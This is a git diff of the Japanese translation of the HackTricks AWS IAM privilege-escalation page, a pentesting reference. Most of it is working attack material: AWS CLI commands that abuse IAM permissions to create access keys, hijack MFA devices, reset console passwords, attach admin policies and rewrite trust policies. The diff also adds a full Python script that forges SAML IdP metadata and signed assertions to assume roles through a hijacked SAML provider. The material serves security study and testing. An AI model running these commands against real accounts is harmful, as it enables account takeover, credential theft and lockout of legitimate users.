mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
IAMに関する詳細は次を参照してください:
|
||||
IAMの詳細は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,44 +12,44 @@ IAMに関する詳細は次を参照してください:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
新しい IAM ポリシーのバージョンを作成する権限を付与します。`--set-as-default` フラグを使用することで `iam:SetDefaultPolicyVersion` 権限を必要とせずに回避できます。これによりカスタム権限の定義が可能になります。
|
||||
新しいIAMポリシーのバージョンを作成する権限を付与します。`--set-as-default`フラグを使用することで、`iam:SetDefaultPolicyVersion`権限を必要とせずに既定のバージョンに設定でき、カスタム権限の定義が可能になります。
|
||||
|
||||
**Exploit Command:**
|
||||
**エクスプロイトコマンド:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**影響:** 任意のリソースに対する任意の操作を許可することで、直接的に権限を昇格させます。
|
||||
**影響:** 任意のリソースに対する任意のアクションを許可することにより、直接的に権限を昇格させます。
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
IAMポリシーのデフォルトバージョンを別の既存バージョンに変更できるようにします。新しいバージョンがより多くの許可を持つ場合、権限が昇格する可能性があります。
|
||||
IAMポリシーのデフォルトバージョンを別の既存バージョンに変更できるようにし、新しいバージョンにより多くの権限が含まれている場合は権限が昇格する可能性があります。
|
||||
|
||||
**Bash Command:**
|
||||
**Bash コマンド:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**影響:** 追加の権限を有効にすることで間接的な privilege escalation を招く可能性がある。
|
||||
**Impact:** より多くの権限を有効にすることで間接的な privilege escalation を引き起こす。
|
||||
|
||||
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
|
||||
|
||||
他のユーザーの access key ID と secret access key を作成できるようにし、潜在的な privilege escalation につながる。
|
||||
他のユーザーの access key ID and secret access key を作成できるようにし、潜在的な privilege escalation につながる。
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Impact:** 別のユーザーの拡張された権限を引き継ぐことで発生する直接的な権限昇格。
|
||||
**影響:** 別ユーザーの拡張された権限を引き継ぐことで、直接的な権限昇格が可能になります。
|
||||
|
||||
ユーザーは access keys を最大2つまでしか作成できないことに注意してください。既に2つの access keys があるユーザーに対して新しいものを作成するには、どれか1つを削除する権限 `iam:DeleteAccessKey` が必要です:
|
||||
ユーザーは作成できる access keys が最大 2 つまでである点に注意してください。したがって、既に 2 つの access keys を持っているユーザーの場合、新しい access key を作成するにはいずれかを削除する必要があり、そのための権限 `iam:DeleteAccessKey` が必要になります:
|
||||
```bash
|
||||
aws iam delete-access-key --uaccess-key-id <key_id>
|
||||
```
|
||||
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
|
||||
|
||||
新しい virtual MFA device を作成して別のユーザーで有効化できる場合、そのユーザーに対して実質的に自分のMFAを登録し、その資格情報で MFA-backed session を要求できます。
|
||||
新しい virtual MFA device を作成して別のユーザーに対して有効化できる場合、そのユーザーに対して実質的に自分の MFA を登録し、その資格情報で MFA-backed session を要求できます。
|
||||
|
||||
**悪用:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
# Create a virtual MFA device (this returns the serial and the base32 seed)
|
||||
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
@@ -58,71 +58,97 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**影響:** ユーザーのMFA登録を乗っ取ることで直接的な権限昇格が可能になり(その後その権限を使用する)。
|
||||
**Impact:** ユーザーのMFA登録を乗っ取ることで直接的に権限昇格できる(その後そのユーザーの権限を使用できる)。
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
ログインプロファイルの作成または更新(AWS コンソールログイン用のパスワード設定を含む)を許可し、それにより直接的な権限昇格につながります。
|
||||
ログインプロファイルの作成または更新(AWS コンソールログイン用のパスワード設定を含む)を許可し、直接的な権限昇格につながる。
|
||||
|
||||
**作成のエクスプロイト:**
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Exploit(更新用):**
|
||||
**更新のためのExploit:**
|
||||
```bash
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Impact:** 直接的な privilege escalation — "any" ユーザーとしてログインすることで発生する。
|
||||
**Impact:** 任意のユーザーとしてログインして直接的に権限昇格できる。
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
無効化された access key を有効化できるため、attacker がその disabled key を所持している場合に unauthorized access を招く可能性がある。
|
||||
無効化されたアクセスキーを再有効化できるため、攻撃者がその無効化されたキーを所持している場合に不正アクセスにつながる可能性がある。
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**影響:** アクセスキーを再有効化することで直接的な privilege escalation が発生する。
|
||||
**Impact:** アクセスキーを再有効化することで直接的な権限昇格が可能になる。
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
特定の AWS サービス (例: CodeCommit、Amazon Keyspaces) の認証情報を生成またはリセットでき、関連付けられたユーザーの権限を継承する。
|
||||
特定の AWS サービス(最も一般的なのは **CodeCommit**)のための認証情報を生成またはリセットできる。これらは **AWS API keys** ではなく、特定のサービス向けの **username/password** 認証情報で、そのサービスが受け入れる場所でのみ使用できる。
|
||||
|
||||
**Exploit for Creation:**
|
||||
**Creation:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
|
||||
```
|
||||
**Reset用 Exploit:**
|
||||
保存:
|
||||
|
||||
- `ServiceSpecificCredential.ServiceUserName`
|
||||
- `ServiceSpecificCredential.ServicePassword`
|
||||
|
||||
**例:**
|
||||
```bash
|
||||
# Find a repository you can access as the target
|
||||
aws codecommit list-repositories
|
||||
|
||||
export REPO_NAME="<repo_name>"
|
||||
export AWS_REGION="us-east-1" # adjust if needed
|
||||
|
||||
# Git URL (HTTPS)
|
||||
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
|
||||
|
||||
# Clone and use the ServiceUserName/ServicePassword when prompted
|
||||
git clone "$CLONE_URL"
|
||||
cd "$REPO_NAME"
|
||||
```
|
||||
> 注意: サービスのパスワードは `+`, `/` および `=` のような文字を含むことが多いです。対話プロンプトを使うのが通常最も簡単です。URLに埋め込む場合は、まず URL-encode してください。
|
||||
|
||||
この時点でターゲットユーザが CodeCommit でアクセスできるもの(例: a leaked credentials file)を何でも読むことができます。もしリポジトリから **AWS access keys** を取得したら、それらのキーで新しい **AWS CLI** プロファイルを設定し、その後リソース(例えば **Secrets Manager** から flag を読む)にアクセスします:
|
||||
```bash
|
||||
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
|
||||
```
|
||||
**リセット:**
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Impact:** ユーザーのサービス権限内での直接的な権限昇格。
|
||||
**Impact:** Privilege escalation により、対象ユーザーの当該サービスに対する権限へ昇格します(および、そのサービスから取得したデータを使って pivot することで、さらに範囲が拡大する可能性があります)。
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
ユーザーやグループにポリシーをアタッチすることを許可し、アタッチされたポリシーの権限を継承することで直接的に権限を昇格させます。
|
||||
ユーザーまたはグループにポリシーをアタッチできるようにし、アタッチされたポリシーの権限を継承して直接的に escalating privileges を達成します。
|
||||
|
||||
**Exploit for User:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**グループ向け Exploit:**
|
||||
**グループ向けのExploit:**
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**影響:** ポリシーが付与するあらゆる権限に対して直接的に権限昇格できます。
|
||||
**Impact:** ポリシーが付与するあらゆる権限への直接的な権限昇格。
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
ロール、ユーザー、またはグループにポリシーを割り当て(attach/put)できるようにし、追加の権限を付与することで直接的に権限昇格が可能になります。
|
||||
ロール、ユーザー、グループに対してポリシーを割り当てまたは設定することを許可し、追加の権限を付与することで直接的な権限昇格を可能にします。
|
||||
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Inline Policies向けのExploit:**
|
||||
**Inline Policies の Exploit:**
|
||||
```bash
|
||||
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
|
||||
--policy-document "file:///path/to/policy.json"
|
||||
@@ -146,11 +172,11 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
]
|
||||
}
|
||||
```
|
||||
**影響:** ポリシーを介して権限を追加することで直接的な権限昇格を引き起こす。
|
||||
**影響:** policiesを通じてpermissionsを追加することで、直接的なprivilege escalationを引き起こす。
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
自身をIAMグループに追加できるようになり、グループの権限を継承することで権限が昇格する。
|
||||
自分自身をIAMグループに追加できるようにし、グループのpermissionsを継承してprivilege escalationを実現する。
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
@@ -160,14 +186,14 @@ aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
ロールの assume role policy document を変更できるようにし、そのロールおよび関連する権限の引き受けを可能にします。
|
||||
ロールのAssume Roleポリシードキュメントを変更できるようにし、そのロールおよび関連する権限を引き受けることを可能にします。
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
ポリシーが次のようになっており、ユーザーにロールを引き受ける許可を与えている場合:
|
||||
ポリシーが次のようになっており、ユーザーにロールを引き受ける許可を与えている場合:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -182,11 +208,11 @@ aws iam update-assume-role-policy --role-name <role_name> \
|
||||
]
|
||||
}
|
||||
```
|
||||
**影響:** 任意のロールの権限を引き継ぐことで直接的な権限昇格が可能になります。
|
||||
**影響:** 任意のロールの権限を引き受けることで、直接的な権限昇格が可能になる。
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
SSH公開鍵をアップロードして CodeCommit に認証することや、MFAデバイスを無効化することを許可し、間接的な権限昇格につながる可能性があります。
|
||||
CodeCommitへの認証用にSSH公開鍵をアップロードすることと、MFAデバイスを無効化することを許可し、間接的な権限昇格につながる可能性がある。
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
@@ -196,24 +222,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**影響:** CodeCommit へのアクセスを有効化する、または MFA 保護を無効化することで発生する間接的な権限昇格。
|
||||
**Impact:** CodeCommit へのアクセスを有効化したり、MFA 保護を無効化することで、間接的な権限昇格を引き起こす可能性があります。
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
MFA デバイスの再同期を許可し、MFA 保護を操作することで間接的な権限昇格につながる可能性がある。
|
||||
MFA デバイスの再同期を許可し、MFA 保護を操作することで間接的な権限昇格につながる可能性があります。
|
||||
|
||||
**Bash コマンド:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**影響:** MFAデバイスを追加または操作することによる間接的なprivilege escalation。
|
||||
**影響:** MFA devices を追加または操作することでの間接的な権限昇格。
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
これらの権限があれば、**SAML接続のXMLメタデータを変更**できます。次に、**SAML federation**を悪用して、それを信頼している任意の**role**で**login**できます。
|
||||
これらの権限があれば、**SAML接続のXMLメタデータを変更**できます。そうすれば、**SAML federation** を悪用して、その接続を信頼している任意の **role** で **login** することが可能になります。
|
||||
|
||||
注意:これを行うと**正規ユーザーはloginできなくなります**。ただし、XMLを取得できれば、自分のXMLを入れてloginし、その後元の設定に戻して復元することができます。
|
||||
ただし、これを行うと **正規ユーザーは login できなくなる** 点に注意してください。とはいえ、XML を取得できれば自分のものに置き換えて login し、その後元に戻して設定を復元することができます。
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -229,12 +255,258 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
# Optional: Set the previous XML back
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: SAML metadata を生成し、指定した role でログインできるツール
|
||||
**エンドツーエンド攻撃:**
|
||||
|
||||
1. SAML provider とそれを信頼する role を列挙する:
|
||||
```bash
|
||||
export AWS_REGION=${AWS_REGION:-us-east-1}
|
||||
|
||||
aws iam list-saml-providers
|
||||
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
|
||||
|
||||
# Backup current metadata so you can restore it later:
|
||||
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
|
||||
|
||||
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
|
||||
aws iam list-roles | grep -i saml || true
|
||||
aws iam get-role --role-name "<ROLE_NAME>"
|
||||
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
|
||||
```
|
||||
2. role/provider ペア用に IdP メタデータと署名済み SAML アサーションを偽造する:
|
||||
```bash
|
||||
python3 -m venv /tmp/saml-federation-venv
|
||||
source /tmp/saml-federation-venv/bin/activate
|
||||
pip install lxml signxml
|
||||
|
||||
# Create /tmp/saml_forge.py from the expandable below first:
|
||||
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
|
||||
python3 - <<'PY'
|
||||
import json
|
||||
j=json.load(open("/tmp/saml-forge.json","r"))
|
||||
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
|
||||
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
|
||||
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
|
||||
PY
|
||||
```
|
||||
<details>
|
||||
<summary>展開可能: <code>/tmp/saml_forge.py</code> ヘルパー (メタデータ + 署名付きアサーション)</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import datetime as dt
|
||||
import json
|
||||
import os
|
||||
import subprocess
|
||||
import tempfile
|
||||
import uuid
|
||||
|
||||
from lxml import etree
|
||||
from signxml import XMLSigner, methods
|
||||
|
||||
|
||||
def _run(cmd: list[str]) -> str:
|
||||
p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
|
||||
return p.stdout
|
||||
|
||||
|
||||
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
|
||||
key_path = os.path.join(tmpdir, "key.pem")
|
||||
cert_path = os.path.join(tmpdir, "cert.pem")
|
||||
_run(
|
||||
[
|
||||
"openssl",
|
||||
"req",
|
||||
"-x509",
|
||||
"-newkey",
|
||||
"rsa:2048",
|
||||
"-keyout",
|
||||
key_path,
|
||||
"-out",
|
||||
cert_path,
|
||||
"-days",
|
||||
"3650",
|
||||
"-nodes",
|
||||
"-subj",
|
||||
"/CN=attacker-idp",
|
||||
]
|
||||
)
|
||||
return key_path, cert_path
|
||||
|
||||
|
||||
def _pem_cert_to_b64(cert_pem: str) -> str:
|
||||
lines: list[str] = []
|
||||
for line in cert_pem.splitlines():
|
||||
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
|
||||
continue
|
||||
line = line.strip()
|
||||
if line:
|
||||
lines.append(line)
|
||||
return "".join(lines)
|
||||
|
||||
|
||||
def make_metadata_xml(cert_b64: str) -> str:
|
||||
return f"""<?xml version="1.0"?>
|
||||
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
|
||||
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
|
||||
<KeyDescriptor use="signing">
|
||||
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
|
||||
<X509Data>
|
||||
<X509Certificate>{cert_b64}</X509Certificate>
|
||||
</X509Data>
|
||||
</KeyInfo>
|
||||
</KeyDescriptor>
|
||||
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
|
||||
</IDPSSODescriptor>
|
||||
</EntityDescriptor>
|
||||
"""
|
||||
|
||||
|
||||
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes:
|
||||
ns = {
|
||||
"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol",
|
||||
"saml2": "urn:oasis:names:tc:SAML:2.0:assertion",
|
||||
}
|
||||
|
||||
issue_instant = dt.datetime.now(dt.timezone.utc)
|
||||
not_before = issue_instant - dt.timedelta(minutes=2)
|
||||
not_on_or_after = issue_instant + dt.timedelta(minutes=10)
|
||||
|
||||
resp_id = "_" + str(uuid.uuid4())
|
||||
assertion_id = "_" + str(uuid.uuid4())
|
||||
|
||||
response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns)
|
||||
response.set("ID", resp_id)
|
||||
response.set("Version", "2.0")
|
||||
response.set("IssueInstant", issue_instant.isoformat())
|
||||
response.set("Destination", "https://signin.aws.amazon.com/saml")
|
||||
|
||||
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
|
||||
issuer.text = "https://attacker.invalid/idp"
|
||||
|
||||
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
|
||||
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
|
||||
status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success")
|
||||
|
||||
assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion"))
|
||||
assertion.set("ID", assertion_id)
|
||||
assertion.set("Version", "2.0")
|
||||
assertion.set("IssueInstant", issue_instant.isoformat())
|
||||
|
||||
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
|
||||
a_issuer.text = "https://attacker.invalid/idp"
|
||||
|
||||
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
|
||||
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
|
||||
name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
|
||||
name_id.text = "attacker"
|
||||
|
||||
subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation"))
|
||||
subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
|
||||
subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData"))
|
||||
subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat())
|
||||
subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml")
|
||||
|
||||
conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions"))
|
||||
conditions.set("NotBefore", not_before.isoformat())
|
||||
conditions.set("NotOnOrAfter", not_on_or_after.isoformat())
|
||||
|
||||
audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction"))
|
||||
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
|
||||
audience.text = "https://signin.aws.amazon.com/saml"
|
||||
|
||||
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
|
||||
|
||||
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
|
||||
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
|
||||
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
|
||||
attr_role_value.text = f"{role_arn},{principal_arn}"
|
||||
|
||||
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
|
||||
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
|
||||
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
|
||||
attr_session_value.text = "saml-session"
|
||||
|
||||
key_bytes = open(key_pem, "rb").read()
|
||||
cert_bytes = open(cert_pem, "rb").read()
|
||||
|
||||
signer = XMLSigner(
|
||||
method=methods.enveloped,
|
||||
signature_algorithm="rsa-sha256",
|
||||
digest_algorithm="sha256",
|
||||
c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
|
||||
)
|
||||
signed_assertion = signer.sign(
|
||||
assertion,
|
||||
key=key_bytes,
|
||||
cert=cert_bytes,
|
||||
reference_uri=f"#{assertion_id}",
|
||||
id_attribute="ID",
|
||||
)
|
||||
|
||||
response.remove(assertion)
|
||||
response.append(signed_assertion)
|
||||
|
||||
return etree.tostring(response, xml_declaration=True, encoding="utf-8")
|
||||
|
||||
|
||||
def main() -> None:
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--role-arn", required=True)
|
||||
ap.add_argument("--principal-arn", required=True)
|
||||
args = ap.parse_args()
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
key_path, cert_path = _openssl_make_key_and_cert(tmp)
|
||||
cert_pem = open(cert_path, "r", encoding="utf-8").read()
|
||||
cert_b64 = _pem_cert_to_b64(cert_pem)
|
||||
|
||||
metadata_xml = make_metadata_xml(cert_b64)
|
||||
saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
|
||||
saml_b64 = base64.b64encode(saml_xml).decode("ascii")
|
||||
|
||||
print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
</details>
|
||||
|
||||
3. SAMLプロバイダのメタデータをあなたの IdP 証明書に更新し、ロールを引き受け、返された STS 認証情報を使用します:
|
||||
```bash
|
||||
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata.xml
|
||||
|
||||
# Assertion is base64 and can be long. Keep it on one line:
|
||||
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
|
||||
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
|
||||
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
|
||||
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
|
||||
echo "Session expires at: $SESSION_EXP"
|
||||
|
||||
# Use creds inline (no need to create an AWS CLI profile):
|
||||
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
4. クリーンアップ: 以前のメタデータを復元する:
|
||||
```bash
|
||||
python3 - <<'PY'
|
||||
import json
|
||||
j=json.load(open("/tmp/saml-provider-backup.json","r"))
|
||||
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
|
||||
PY
|
||||
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata-original.xml
|
||||
```
|
||||
> [!WARNING]
|
||||
> SAML provider のメタデータの更新は影響が大きいです: メタデータが適用されている間、正当な SSO ユーザーが認証できない可能性があります。
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(不確か)攻撃者がこれらの **permissions** を持っている場合、**Thumbprint** を追加して、その provider を信頼するすべての roles にログインできるようにする可能性があります。
|
||||
(これについては不確かです) 攻撃者がこれらの **権限** を持っている場合、プロバイダーを信頼するすべてのロールにログインするために、新しい **Thumbprint** を追加できる可能性があります。
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -245,7 +517,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
この権限により攻撃者はユーザーのアクセス許可の境界を更新できるようになり、通常は既存の権限で制限されている操作を実行できるようにして権限を昇格させる可能性があります。
|
||||
この権限により攻撃者はユーザーの permissions boundary を更新でき、その結果、通常は既存の権限で制限されている操作を実行可能にして権限を昇格させる可能性があります。
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -268,13 +540,13 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
iam:PutRolePermissionsBoundary を持つアクターは、既存のロールに権限境界を設定できます。リスクは、この権限を持つ者がロールの境界を変更した場合に発生します:操作を不適切に制限してサービスの中断を引き起こす可能性があるか、許容的な境界を付与すればロールの実行可能な範囲が実質的に拡大し、権限昇格につながる可能性があります。
|
||||
iam:PutRolePermissionsBoundary を持つアクターは、既存の role に permissions boundary を設定できます。リスクは、この権限を持つ者が role の boundary を変更した場合に発生します: 操作を不適切に制限して service disruption を引き起こす可能性、あるいは permissive boundary をアタッチすると role の権限が実質的に拡大して権限昇格を招く可能性があります。
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
|
||||
```
|
||||
## 参考文献
|
||||
## 参考資料
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user